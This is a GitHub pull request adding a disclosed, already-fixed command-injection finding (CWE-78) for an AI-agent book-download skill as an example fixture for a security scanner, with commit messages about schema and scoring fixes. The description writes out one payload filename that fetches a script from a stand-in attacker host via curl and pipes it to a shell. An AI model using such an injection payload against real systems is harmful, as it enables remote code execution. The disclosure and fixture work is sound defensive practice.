Add finding: OS command injection in an AI-agent skill (zlibrary-to-notebooklm, CWE-78)#122
Open
Amr-Saad wants to merge 3 commits into
Open
Conversation
…otebooklm) A community-contributed, real-world finding in SEC-AF's verdict/trace/evidence format, demonstrating the OS command-injection class (CWE-78) in AI-agent skills. The vulnerable project is an MIT-licensed agent "skill" that auto-downloads a book from Z-Library and shells out to the NotebookLM CLI. `download.suggested_filename` (attacker-controllable) flows into f-strings run with subprocess.run(..., shell=True) at 7 sinks -> RCE via a crafted book filename. Already remediated (list-argv, shell=False); included as an example/fixture, not a live 0-day. Files: - exampl/zlibrary-to-notebooklm-command-injection.finding.json (SEC-AF finding schema) - exampl/zlibrary-to-notebooklm-command-injection.md (readable advisory)
|
|
![chatgpt-codex-connector[bot]](https://avatars.githubusercontent.com/in/1144995?s=60&v=4){kind=small}
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 361dda2943
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
…ifiedFinding The fixture is advertised as a SEC-AF finding, so consumers must be able to load it with sec_af.schemas.prove.VerifiedFinding. It previously omitted required fields and carried non-schema-shaped nested objects, so VerifiedFinding.model_validate(...) would reject it: - top-level: add required rationale, sarif_rule_id, sarif_security_severity (+ tags) - proof: add required exploit_hypothesis, verification_method, evidence_level; fold the non-schema exploit_scenario into exploit_hypothesis and map the payload/outcome onto Proof.exploit_payload / Proof.expected_outcome; data_flow_evidence already matched DataFlowEvidence - remediation: reshape to RemediationSuggestion (fix_description, patch_diff, confidence) from the prior non-schema summary/before/after/status/notes - compliance/location were already schema-valid Add tests/test_example_findings.py: parametrized over exampl/*.finding.json, asserts each loads via VerifiedFinding.model_validate and that proof/ remediation, when present, are fully-formed. Guards every example finding, current and future, against schema drift. Validated locally (pydantic 2.12.5; 2 passed). Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: c3c2041228
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
…engine The committed example understated the same finding the platform would emit. SEC-AF's own scoring (sec_af.scoring) floors CWE-78 to critical and recomputes exploitability_score = severity x evidence x reachability x chain, mirroring the result into sarif_security_severity (orchestrator.py:383-385). For this confirmed, level-5 RCE whose taint source is a remote attacker- controlled filename, the engine produces: critical (10.0) x EXPLOIT_SCENARIO_ VALIDATED (0.9) x externally_reachable (1.0) x no-chain (1.0) = 9.0. - severity: high -> critical - exploitability_score: 3.0 -> 9.0 - sarif_security_severity: 8.8 -> 9.0 (mirrors exploitability_score) - tags: + externally_reachable (the honest reachability bucket - taint enters from a remote, unauthenticated source; without it the engine's non-empty-tag fallback would score 4.5, still understating a confirmed RCE) - rationale + companion .md updated to match Strengthen tests/test_example_findings.py with test_example_finding_agrees_with_platform_scoring: re-runs the engine's floor + score pass over every fixture and asserts the stored values equal the recomputation, so an example can never again silently disagree with the platform. Verified locally: 3 passed (engine recomputes severity=critical, score=9.0). Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
2 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
What
A community-contributed, real-world finding in SEC-AF's verdict → trace → evidence format, added under
exampl/:exampl/zlibrary-to-notebooklm-command-injection.finding.json— structured finding (SEC-AF finding schema:cwe_id,evidence_level,proof.data_flow_evidence.steps,compliance,remediation…)exampl/zlibrary-to-notebooklm-command-injection.md— readable advisoryWhy it fits SEC-AF
It demonstrates exactly the class SEC-AF is built to prove: an OS command injection (CWE-78) in an AI-agent skill. The vulnerable project is an MIT-licensed agent "skill" (
zlibrary-to-notebooklm) that auto-downloads a book from Z-Library and shells out to the NotebookLM CLI.Confirmed data flow:
download.suggested_filename(attacker-controllable — the book uploader sets it) →download_path→title/file_path→ f-strings →subprocess.run(..., shell=True)at 7 sinks (1 inconvert_to_txt, 6 inupload_to_notebooklm). A book named'; curl https://evil.example/x.sh | sh; '.epubyields RCE when the skill processes it. The wrapping single-quotes are not a defence.Responsible disclosure
The finding is already remediated — all seven sinks refactored to list-argv with
shell=False, preserving behaviour (verifiedpy_compile+ zeroshell=True). It is contributed as an example/fixture with the fix included, not a live 0-day.Verdict
confirmed· severity high · evidence level 5 · CWE-78 · OWASP A03:2021.